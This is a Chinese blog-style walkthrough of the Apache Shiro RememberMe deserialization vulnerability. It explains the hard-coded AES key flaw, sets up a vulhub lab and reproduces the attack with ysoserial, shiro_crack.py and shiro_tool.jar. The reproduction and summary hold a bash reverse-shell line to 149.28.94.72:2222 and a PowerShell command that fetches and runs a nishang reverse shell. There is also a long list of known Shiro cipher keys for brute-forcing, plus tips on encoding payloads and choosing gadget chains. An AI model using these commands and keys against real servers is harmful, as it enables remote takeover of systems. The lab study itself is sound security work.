0x00 漏洞描述
0x01 影响版本
0x02 漏洞原理
在服务端接收cookie值时,按照如下步骤来解析处理:
1、检索RememberMe cookie 的值
2、Base 64解码
3、使用AES解密(加密密钥硬编码)
4、进行反序列化操作(未作过滤处理)
0x03 漏洞原因
大概意思是,shiro在登录处提供了Remember Me这个功能,来记录用户登录的凭证,然后shiro使用了CookieRememberMeManager类对用户的登陆凭证,也就是Remember Me的内容进行一系列处理:
使用Java序列化 ---> 使用密钥进行AES加密 ---> Base64加密 ---> 得到加密后的Remember Me内容
同时在识别用户身份的时候,需要对Remember Me的字段进行解密,解密的顺序为:
Remember Me加密内容 ---> Base64解密 ---> 使用密钥进行AES解密 --->Java反序列化
问题出在AES加密的密钥Key被硬编码在代码里,这意味着攻击者只要通过源代码找到AES加密的密钥,就可以构造一个恶意对象,对其进行序列化,AES加密,Base64编码,然后将其作为cookie的Remember Me字段发送,Shiro将RememberMe进行解密并且反序列化,最终造成反序列化漏洞。
0x04 漏洞利用条件
0x05 漏洞搜索关键字
securityManager.rememberMeManager.cipherKey
cookieRememberMeManager.setCipherKey
setCipherKey(Base64.decode
0x06 漏洞特征
0x07 环境搭建
![](https://img-blog.csdnimg.cn/img_convert/877976a2bad968d499fc670c8fc219ed.png)
![](https://img-blog.csdnimg.cn/img_convert/b5df8c715dee784799f05aed007267a1.png)
![](https://img-blog.csdnimg.cn/img_convert/dd44b40eb6e643e09736db30a55c8b3b.png)
docker-compose up -d
服务启动后,访问http://your-ip:8080可使用admin:vulhub进行登录
0x08 漏洞复现
![](https://img-blog.csdnimg.cn/img_convert/62487f34b859a8995e1d8eb181eb8292.png)
![](https://img-blog.csdnimg.cn/img_convert/76ddde08694c708d8330596b1e66c8ce.png)
![](https://img-blog.csdnimg.cn/img_convert/d74d5d1872c0d0d37fb5cb9341544b2a.png)
![](https://img-blog.csdnimg.cn/img_convert/2c10a8e139450d0640180a8bb804241e.png)
java -cp ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.JRMPListener 1086 CommonsCollections4 “bash命令”
JRMPListener是ysoserial 工具里的其中一个利用模块,作用是通过反序列化,开启当前主机的一个 JRMP Server ,具体的利用过程是,将反序列化数据 发送到 Server 中,然后Server中进行反序列化操作,并开启指定端口,然后在通过JRMPClient去发送攻击 payload;
payloads/JRMPClient 生存的 payload 是发送给目标机器的,exploit/JRMPListener 是在自己服务器上使用的。
bash -i >& /dev/tcp/149.28.94.72/2222 0>&1
然后转换成加密后的指令(去这个网站http://www.jackson-t.ca/runtime-exec-payloads.html)
![](https://img-blog.csdnimg.cn/img_convert/d34c072f34099359e2b9ef15d55a57ba.png)
![](https://img-blog.csdnimg.cn/img_convert/c255c7bcf3ab17ca37ee9616fc9ae16f.png)
![](https://img-blog.csdnimg.cn/img_convert/8195ccc52fa310904821a68ba35c8ff3.png)
![](https://img-blog.csdnimg.cn/img_convert/386b075041473a4e95bd447e8e7d798d.png)
![](https://img-blog.csdnimg.cn/img_convert/0958fcc4c39b161d9774189bf0fc63a3.png)
![](https://img-blog.csdnimg.cn/img_convert/f3880bfd63a545805dd1ea3f096f7cf6.png)
![](https://img-blog.csdnimg.cn/img_convert/f515cd8e50eae7aff7d416e253631245.jpeg)
![](https://img-blog.csdnimg.cn/img_convert/032f52c0eaa2ecd6c0ddc27e2aaa6b75.png)
![](https://img-blog.csdnimg.cn/img_convert/40fdc36ff92771bd92d2fb380f01fad3.png)
![](https://img-blog.csdnimg.cn/img_convert/446b0b27706744aab3ef0cab7cda290f.png)
![](https://img-blog.csdnimg.cn/img_convert/e6f64ca52521507714cd805fd35e7d24.png)
![](https://img-blog.csdnimg.cn/img_convert/a9c0b694071f63ba1332483c344031ef.png)
![](https://img-blog.csdnimg.cn/img_convert/cb5a88badd1f71aa7a76d5302e916ee4.png)
![](https://img-blog.csdnimg.cn/img_convert/bd858985221da22d267ed5b14f89a902.png)
![](https://img-blog.csdnimg.cn/img_convert/8d9d89635a0987a0199065e2e909e641.png)
![](https://img-blog.csdnimg.cn/img_convert/c8a46e674fe39da1678223789778ba89.png)
![](https://img-blog.csdnimg.cn/img_convert/64f5118dc74d967df84c5d7bc4a24875.png)
![](https://img-blog.csdnimg.cn/img_convert/96c90882bd7560ed6f154f6b7439ddb9.png)
![](https://img-blog.csdnimg.cn/img_convert/8fe83c47142626777c508a5d65d3b221.png)
python3 shiro_crack.py http://149.28.94.72:8080/ m55a3c.dnslog.cn #需要结合http://dnslog.cn
![](https://img-blog.csdnimg.cn/img_convert/97e4226a3a64401c97c2d6d88ce066ad.png)
成功后查看记录,记录格式为 {{key}}.{{module}}.dnslogurl
kPH.bIxk5D2deZiIxcaaaA.CommonsCollections2.m55a3c.dnslog.cn
可知成功的key为kPH.bIxk5D2deZiIxcaaaA==,模块为CommonsBeanutils2 因为key中包含==/+等符号.
![](https://img-blog.csdnimg.cn/img_convert/2fd05dd8593d24722eb216b6ff21756e.png)
![](https://img-blog.csdnimg.cn/img_convert/d59be1ddc4d7b9e102b57e8d14df00c9.png)
![](https://img-blog.csdnimg.cn/img_convert/bafd628a39f99559bae1bc4862ced39d.png)
![](https://img-blog.csdnimg.cn/img_convert/55abb842c4979534a42c54f50338180c.png)
![](https://img-blog.csdnimg.cn/img_convert/9cbc0ff40cad0e155babd6d8aa634789.png)
![](https://img-blog.csdnimg.cn/img_convert/b66b50b6d76674fc248094208151d27f.png)
![](https://img-blog.csdnimg.cn/img_convert/7260f9a3de8f03fa23d7397443e6b060.png)
![](https://img-blog.csdnimg.cn/img_convert/9be5994c6a8b6f3224ef60b8922053ee.png)
![](https://img-blog.csdnimg.cn/img_convert/08e3ae3f482e471203bdc7d4da69bb46.png)
![](https://img-blog.csdnimg.cn/img_convert/82722b3e7016f1547d7014eed3c3c290.png)
![](https://img-blog.csdnimg.cn/img_convert/0a59603da3e9f97e7b5458af173cd1c7.png)
![](https://img-blog.csdnimg.cn/img_convert/4b67da8a09c97cf5c900b3c1dac13ee1.png)
kPH+bIxk5D2deZiIxcaaaA==
4AvVhmFLUs0KTA3Kprsdag==
Z3VucwAAAAAAAAAAAAAAAA==
fCq+/xW488hMTCD+cmJ3aQ==
0AvVhmFLUs0KTA3Kprsdag==
1AvVhdsgUs0FSA3SDFAdag==
1QWLxg+NYmxraMoxAXu/Iw==
25BsmdYwjnfcWmnhAciDDg==
2AvVhdsgUs0FSA3SDFAdag==
3AvVhmFLUs0KTA3Kprsdag==
3JvYhmBLUs0ETA5Kprsdag==
r0e3c16IdVkouZgk1TKVMg==
5aaC5qKm5oqA5pyvAAAAAA==
5AvVhmFLUs0KTA3Kprsdag==
6AvVhmFLUs0KTA3Kprsdag==
6NfXkC7YVCV5DASIrEm1Rg==
6ZmI6I2j5Y+R5aSn5ZOlAA==
cmVtZW1iZXJNZQAAAAAAAA==
7AvVhmFLUs0KTA3Kprsdag==
8AvVhmFLUs0KTA3Kprsdag==
8BvVhmFLUs0KTA3Kprsdag==
9AvVhmFLUs0KTA3Kprsdag==
OUHYQzxQ/W9e/UjiAGu6rg==
a3dvbmcAAAAAAAAAAAAAAA==
aU1pcmFjbGVpTWlyYWNsZQ==
bWljcm9zAAAAAAAAAAAAAA==
bWluZS1hc3NldC1rZXk6QQ==
bXRvbnMAAAAAAAAAAAAAAA==
ZUdsaGJuSmxibVI2ZHc9PQ==
wGiHplamyXlVB11UXWol8g==
U3ByaW5nQmxhZGUAAAAAAA==
MTIzNDU2Nzg5MGFiY2RlZg==
L7RioUULEFhRyxM7a2R/Yg==
a2VlcE9uR29pbmdBbmRGaQ==
WcfHGU25gNnTxTlmJMeSpw==
OY//C4rhfwNxCQAQCrQQ1Q==
5J7bIJIV0LQSN3c9LPitBQ==
f/SY5TIve5WWzT4aQlABJA==
bya2HkYo57u6fWh5theAWw==
WuB+y2gcHRnY2Lg9+Aqmqg==
kPv59vyqzj00x11LXJZTjJ2UHW48jzHN
3qDVdLawoIr1xFd6ietnwg==
ZWvohmPdUsAWT3=KpPqda
YI1+nBV//m7ELrIyDHm6DQ==
6Zm+6I2j5Y+R5aS+5ZOlAA==
2A2V+RFLUs+eTA3Kpr+dag==
6ZmI6I2j3Y+R1aSn5BOlAA==
SkZpbmFsQmxhZGUAAAAAAA==
2cVtiE83c4lIrELJwKGJUw==
fsHspZw/92PrS3XrPW+vxw==
XTx6CKLo/SdSgub+OPHSrw==
sHdIjUN6tzhl8xZMG3ULCQ==
O4pdf+7e+mZe8NyxMTPJmQ==
HWrBltGvEZc14h9VpMvZWw==
rPNqM6uKFCyaL10AK51UkQ==
Y1JxNSPXVwMkyvES/kJGeQ==
lT2UvDUmQwewm6mMoiw4Ig==
MPdCMZ9urzEA50JDlDYYDg==
xVmmoltfpb8tTceuT5R7Bw==
c+3hFGPjbgzGdrC+MHgoRQ==
ClLk69oNcA3m+s0jIMIkpg==
Bf7MfkNR0axGGptozrebag==
1tC/xrDYs8ey+sa3emtiYw==
ZmFsYWRvLnh5ei5zaGlybw==
cGhyYWNrY3RmREUhfiMkZA==
IduElDUpDDXE677ZkhhKnQ==
yeAAo1E8BOeAYfBlm4NG9Q==
cGljYXMAAAAAAAAAAAAAAA==
2itfW92XazYRi5ltW0M2yA==
XgGkgqGqYrix9lI6vxcrRw==
ertVhmFLUs0KTA3Kprsdag==
5AvVhmFLUS0ATA4Kprsdag==
s0KTA3mFLUprK4AvVhsdag==
hBlzKg78ajaZuTE0VLzDDg==
9FvVhtFLUs0KnA3Kprsdyg==
d2ViUmVtZW1iZXJNZUtleQ==
yNeUgSzL/CfiWw1GALg6Ag==
NGk/3cQ6F5/UNPRh8LpMIg==
4BvVhmFLUs0KTA3Kprsdag==
MzVeSkYyWTI2OFVLZjRzZg==
CrownKey==a12d/dakdad
empodDEyMwAAAAAAAAAAAA==
A7UzJgh1+EWj5oBFi+mSgw==
YTM0NZomIzI2OTsmIzM0NTueYQ==
c2hpcm9fYmF0aXMzMgAAAA==
i45FVt72K2kLgvFrJtoZRw==
U3BAbW5nQmxhZGUAAAAAAA==
ZnJlc2h6Y24xMjM0NTY3OA==
Jt3C93kMR9D5e8QzwfsiMw==
MTIzNDU2NzgxMjM0NTY3OA==
vXP33AonIp9bFwGl7aT7rA==
V2hhdCBUaGUgSGVsbAAAAA==
Z3h6eWd4enklMjElMjElMjE=
Q01TX0JGTFlLRVlfMjAxOQ==
ZAvph3dsQs0FSL3SDFAdag==
Is9zJ3pzNh2cgTHB4ua3+Q==
NsZXjXVklWPZwOfkvk6kUA==
GAevYnznvgNCURavBhCr1w==
66v1O8keKNV3TTcGPK1wzg==
SDKOLKn2J1j/2BHjeZwAoQ==
root@shiro:~/shiro_tool# java -jar shiro_tool.jar http://149.28.94.72:8080
![](https://img-blog.csdnimg.cn/img_convert/6513a649994f665d4da5e213c9e25b0e.png)
![](https://img-blog.csdnimg.cn/img_convert/1a04c6f1aebf93359b2ea8765939f8bf.png)
![](https://img-blog.csdnimg.cn/img_convert/d7ab8e3691aff27c25cbe5cd540f02e7.png)
![](https://img-blog.csdnimg.cn/img_convert/2fe28637f9f4f251b44a0fd5059244c2.png)
![](https://img-blog.csdnimg.cn/img_convert/211310a06334cbd83ed123fb205f93d2.png)
![](https://img-blog.csdnimg.cn/img_convert/7576fc6951e29078c83ce3aa2662679c.png)
0x09 漏洞插件检查
![](https://img-blog.csdnimg.cn/img_convert/5263c860962701f5c9e40d43fb449d51.png)
![](https://img-blog.csdnimg.cn/img_convert/15843d0d01faa1033dd53a4aea131f93.png)
![](https://img-blog.csdnimg.cn/img_convert/70938c413445513b30ecda17d2ace391.png)
0x10 漏洞修复
0x11 漏洞总结
测试时, 首先需要对网站基本信息有一个收集, 要知道它是什么系统, linux与windows反弹shell的命令不同 :
1.linux(需要编码处理): bash -i >& /dev/tcp/
149.28.94.72/2222 0>&1
2.windwos(不需要编码处理): powershell IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/samratashok/nishang/9a3c747bcf535ef82dc4c5c66aac36db47c2afde/Shells/Invoke-PowerShellTcp.ps1');Invoke-PowerShellTcp -Reverse -IPAddress
149.28.94.72
-port 2222
3.响应包中出现<rememberMe=deleteMe>可以用来大概判断是否使用了Shiro.
4.关于反弹shell命令, 如果不编码会命令执行失败. 简单说就是反弹shell的命令中包含一些特殊的符号, 在进行反序列化的时候会导致命令无法正常解析
5.测试时, 最好先使用ping命令和dnlslog用来检测漏洞是否存在, 因为复杂的命令可能因为各种原因执行失败, 影响判断.
6.关于利用模块的选择,可以对
CommonsCollections1, CommonsCollections3, CommonsCollections5分别挨过测试,也可以利用图形化工具来判断选择哪个利用模块